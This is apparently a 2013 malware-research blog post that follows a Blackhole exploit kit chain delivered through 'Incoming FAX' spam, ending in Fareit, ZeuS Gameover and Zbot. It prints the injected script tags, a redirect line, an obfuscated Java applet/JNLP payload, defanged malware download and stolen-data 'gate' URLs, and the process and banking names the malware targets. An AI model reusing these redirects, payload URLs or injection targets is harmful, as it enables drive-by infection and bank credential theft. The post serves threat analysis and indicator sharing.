#MalwareMustDie! Peeking at Recent Blackhole via IncomingFAX

// #MalwareMustDie! The Blackhole infection
// via Incoming FAX Report Spam
// Same method of infection as: previous post http://malwaremustdie.blogspot.jp/2013/09/how-greedy-cyber-scums-are-leaked-plan.html
// No Medfos found this time, A zbot Agent/downloader grabbed.
// Sample: http://www.mediafire.com/?6p5al38dlxdlchr
// @unixfreaxjp ~]$ date
// Thu Sep 19 21:22:54 JST 2013


--2013-09-19 18:59:58--  h00p://oakadventures.com/widow/index.html
Resolving oakadventures.com... seconds 0.00, 50.63.73.1
Caching oakadventures.com => 50.63.73.1
Connecting to oakadventures.com|50.63.73.1|:80... seconds 0.00, connected.
  :
GET /widow/index.html HTTP/1.0
Host: oakadventures.com
HTTP request sent, awaiting response...
  :
HTTP/1.1 200 OK
Date: Thu, 19 Sep 2013 10:00:01 GMT
Server: Apache
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 442
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
  :
200 OK
Length: 442 [text/html]
Saving to: `index.html'
2013-09-19 18:59:59 (14.5 MB/s) - `index.html' saved [442/442]


// cat...

<script type="text/javascript" src="h00p://0068421.netsolhost.com/partisanship/poached.js"></script>
<script type="text/javascript" src="h00p://ade-data.com/exuded/midyear.js"></script>
<script type="text/javascript" src="h00p://fangstudios.com/macedonian/piles.js"></script>


--2013-09-19 19:01:57--  h00p://0068421.netsolhost.com/partisanship/poached.js
Resolving 0068421.netsolhost.com... seconds 0.00, 206.188.192.64
Caching 0068421.netsolhost.com => 206.188.192.64
Connecting to 0068421.netsolhost.com|206.188.192.64|:80... seconds 0.00, connected.
  :
GET /partisanship/poached.js HTTP/1.0
Referer: malwaremustdie.org
Host: 0068421.netsolhost.com
HTTP request sent, awaiting response...
  :
HTTP/1.1 200 OK
Date: Thu, 19 Sep 2013 10:01:57 GMT
Server: Apache/2.2.22 (Unix) FrontPage/5.0.2.2635
Last-Modified: Thu, 19 Sep 2013 10:00:12 GMT
ETag: "e84aac-47-4e6b99ea839fb"
Accept-Ranges: bytes
Content-Length: 71
Keep-Alive: timeout=3, max=200
Connection: Keep-Alive
Content-Type: application/javascript
  :
200 OK
Length: 71 [application/javascript]
Saving to: `poached.js'
2013-09-19 19:01:58 (2.02 MB/s) - `poached.js' saved [71/71]

// cat...

document.location='h00p://louievozza.com/topic/seconds-exist-foot.php';

// ZA LANDING PAGE ..

--2013-09-19 19:03:48--  h00p://louievozza.com/topic/seconds-exist-foot.php
Resolving louievozza.com... seconds 0.00, 174.140.169.145
Caching louievozza.com => 174.140.169.145
Connecting to louievozza.com|174.140.169.145|:80... seconds 0.00, connected.
  :
GET /topic/seconds-exist-foot.php HTTP/1.0
Referer: malwaremustdie.org
Host: louievozza.com
HTTP request sent, awaiting response...
  :
HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 19 Sep 2013 10:03:47 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.3.14-1~dotdeb.0
  :
200 OK
Length: unspecified [text/html]
Saving to: `seconds-exist-foot.php'
2013-09-19 19:03:51 (44.2 KB/s) - `seconds-exist-foot.php' saved [69693]

// Had three exploitation...see pic,

// JNLP goes here:

<applet width=\"1\" height=\"1\"><param name=\"jnlp_href\" value=\"!G28!!1bbaI.jnlp\"/><PA
RAM name=\"jnlp_embedded\" value=\"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4gDQo
8am5scCBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2phdmFmeC5jb20iPiANCjxpbmZvcm1hdGlvbj4gDQo8d
Gl0bGU+Sk5MUDwvdGl0bGU+IA0KPHZlbmRvcj5KTkxQPC92ZW5kb3I+IA0KPGRlc2NyaXB0aW9uPkpOTFA8L2Rlc2N
yaXB0aW9uPiANCjxvZmZsaW5lLWFsbG93ZWQvPiANCjwvaW5mb3JtYXRpb24+IA0KPHJlc291cmNlcz4gDQoJPGoyc
2UgdmVyc2lvbj0iMS42KyIgaHJlZj0iaHR0cDovL2phdmEuc3VuLmNvbS9wcm9kdWN0cy9hdXRvZGwvajJzZSIvPiA
NCgk8amFyIGhyZWY9Ii90b3BpYy9zZWNvbmRzLWV4aXN0LWZvb3QucGhwPzN3ITBfXz04VkN4aTV4JjghTV8hbVItN
SoyNFNMPUQqXzU2IiBtYWluPSJ0cnVlIi8+IA0KPC9yZXNvdXJjZXM+IA0KPGFwcGxldC1kZXNjIG5hbWU9IkpuIiB
tYWluLWNsYXNzPSJNYWluIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIj4NCiA8cGFyYW0gdmFsdWU9InRydWUiIG5hbWU9I
l9fYXBwbGV0X3Nzdl92YWxpZGF0ZWQiPjwvcGFyYW0+IA0KPC9hcHBsZXQtZGVzYz4gDQo8L2pubHA+\"/><param
name=\"prime\" value=\"iym.ttyw3D3x6NNmmZ8N0Dmcb_c_MrMr&#37;_?RK2ifchb_&#37;_rre_BrVrcre_V
re_BR4=cLGE9rLSb__RP6&r4yB8fJbrpmU5_8#RqNcmbNhvpL1ahfYuPhOODyy3Ojj-tK8evtUUVw&#37;t0jyt38&
#37;jie&#37;toMimek8iym.ttyw3D3x5s6L1M6b_c_MrMr&#37;_?RXaNfrb___B__r&#37;rV_c_r_M_B__Rvs4m
sU/=Bb__RcKfBJ1NThLbI6AfzdLPrP-RNif64mzobPDNF&#37;Ai\"></param><param value=\"Dyy3Ojj-tK8e
vtUUVw&#37;t0jyt38&#37;jie&#37;toMimek8\" name=\"val\"/><param name=\"duFJfXw\" value=\"ht
tp://louievozza.com/topic/seconds-exist-foot.php?1__--Mi_m*h-9=w9wd8d8cwb&uKs092=wcw88ew78
a898ewa8ew7&5H94!FCN84y=ww&61U85*t7i0I=8Q-zVw*iX&k_9!-=_2vQ!43R20LB62::h00p://louievozza.c
om/topic/seconds-exist-foot.php?V!G1!43d1=w9wd8d8cwb&OR_*08!=www7ww8c8aw9w8wdw7ww&v!*G5-*G
zTH7=ww&9u0!7I*3_P!24=W1g*0DS468*!6l&_!s015-D!n=6h_(qcgs!\"></param></applet>";


//Non-JNLP goes here:

"h00p://louievozza.com/topic/seconds-exist-foot.php?3w!0__=8VCxi5x&8!M_!mR-5*24SL=D*_56\"
"h00p://louievozza.com/topic/seconds-exist-foot.php?3w!0__=8VCxi5x&8!M_!mR-5*24SL=D*_56\"

--2013-09-19 19:26:21--  h00p://louievozza.com/topic/seconds-exist-foot.php?3w!0__=8VCxi5x&8!M_!mR-5*24SL=D*_56
Resolving louievozza.com... seconds 0.00, 174.140.169.145
Caching louievozza.com => 174.140.169.145
Connecting to louievozza.com|174.140.169.145|:80... seconds 0.00, connected.
  :
GET /topic/seconds-exist-foot.php?3w!0__=8VCxi5x&8!M_!mR-5*24SL=D*_56 HTTP/1.0
Referer: malwareMUSTdie.org
Host: louievozza.com
HTTP request sent, awaiting response...
  :
HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 19 Sep 2013 10:26:20 GMT
Content-Type: application/java-archive
Connection: keep-alive
Content-Length: 30699
X-Powered-By: PHP/5.3.14-1~dotdeb.0
ETag: "71c92ebc2a889d3541ff6f20b4740868"
Last-Modified: Thu, 19 Sep 2013 10:26:19 GMT
Accept-Ranges: bytes
  :
200 OK
Registered socket 1896 for persistent reuse.
Length: 30699 (30K) [application/java-archive]
Saving to: `java1.jar'
3-09-19 19:26:24 (36.4 KB/s) - `java1.jar' saved [30699/30699]

// Is a CVE-2013-0422... I saw this before...where? hmm..
// getMBeanInstantiator
// com.sun.jmx.mbeanserver.Introspector
// javax.management.MbeanServerDelegateboolean
// com.sun.jmx.mbeanserver.JmxMBeanServer
// newMBeanServer
//  :
// ah.. the same as previous findings (Doh!)
// Link: http://malwaremustdie.blogspot.jp/2013/09/how-greedy-cyber-scums-are-leaked-plan.html


//To make long story short...payload:

h00p://louievozza.com/adobe/update_flash_player.exe

GET /adobe/update_flash_player.exe HTTP/1.0
Referer: malwaremustdie.org
Host: louievozza.com
HTTP request sent, awaiting response...
   :
HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 19 Sep 2013 10:30:55 GMT
Content-Type: application/octet-stream
Connection: keep-alive
Content-Length: 113664
Last-Modified: Thu, 19 Sep 2013 10:30:01 GMT
Accept-Ranges: bytes
  :
200 OK
Registered socket 1896 for persistent reuse.
Length: 113664 (111K) [application/octet-stream]
Saving to: `update_flash_player.exe'
2013-09-19 19:31:00 (50.8 KB/s) - `update_flash_player.exe' saved [113664/113664]


// This is the usual Win32/Fareit


VT: https://www.virustotal.com/en/file/7765902c6023647365c4f471c6eeb4d4bfd2e26b759c092135d138f4365c696d/analysis/1379589491/
SHA256: 7765902c6023647365c4f471c6eeb4d4bfd2e26b759c092135d138f4365c696d
SHA1: 	5e7a2032fea221beae9d509f92061ab0f1ae6578
MD5: 	c08233e8051214fd65db330ca8b9dd6c
File size: 	111.0 KB ( 113664 bytes )
File name: 	sample1.exe
File type: 	Win32 EXE
Detection ratio: 	14 / 48
Analysis date: 	2013-09-19 11:18:11 UTC ( 0 minutes ago )


The gates to post the steals..

h00p://louievozza.com/forum/viewtopic.php
h00p://louvozza.com/forum/viewtopic.php
h00p://lv-contracting.com/forum/viewtopic.php
h00p://lvconcordecontracting.com/forum/viewtopic.php

The download for others..

h00p://arya-foundation.de/6Zt.exe
h00p://jaycees.co.uk/zHHgp2.exe
h00p://familiapaixao.coconet-us.com/tmMTo.exe
h00p://www.maschinen.be/gMYiQdv.exe


// The ZeuS Gameover...(downloaded by Fareit)

URL: https://www.virustotal.com/en/file/a8757588dc0fa034fd94c8a682eeb401b02180c90f8cd5e9ade63fc03823cce9/analysis/1379589455/
SHA256: a8757588dc0fa034fd94c8a682eeb401b02180c90f8cd5e9ade63fc03823cce9
SHA1: 	61ce0ab07b794de746755a5bb1b53fc079c62b19
MD5: 	674b386f0cb0acec8ea8af4cd7c431c6
File size: 	300.5 KB ( 307712 bytes )
File name: 	oqxub.exe
File type: 	Win32 EXE
Detection ratio: 	9 / 48
Analysis date: 	2013-09-19 11:17:35 UTC ( 0 minutes ago )

target injections:

launchpadshell.exe
dirclt32.exe
wtng.exe
prologue.exe
pcsws.exe
fdmaster.exe


// brute logins..

bancline
fidelity
micrsolv
bankman
vantiv
episys
jack henry
cruisenet
gplusmain


// Zbot Trojan/Agent..

URL: https://www.virustotal.com/en/file/efc0f51ba94a496de612bc8431d169720b47df01d21958834156af1c3d7cf589/analysis/1379589429/
SHA256: efc0f51ba94a496de612bc8431d169720b47df01d21958834156af1c3d7cf589
SHA1: 	24ee0efe80d4ddb5e5559df79aacd35f41e56f88
MD5: 	5b95cc82cbec4f5705c10d13d59874a6
File size: 	43.0 KB ( 44078 bytes )
File name: 	ydYGTvG.exe
File type: 	Win32 EXE
Detection ratio: 	20 / 48
Analysis date: 	2013-09-19 11:17:09 UTC ( 0 minutes ago )

Reg: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders

Downloaded (driver)
File name 	IvrufsinNomz.dll
File Size 	13824 bytes
File Type 	PE32 (DLL) (GUI) x386
MD5 	b9bc7440d733e4346d45011ea649c6e4

Connection:

YAhoO.Com 	98.139.183.24
mta6.am0.yahoodns.net 	66.196.118.34
HOtMaIl.cOM 	157.55.152.112
mx2.HOtMaIl.cOM 	65.55.37.104

---
#MalwareMUSTDiee!!!
@unixfreaxjp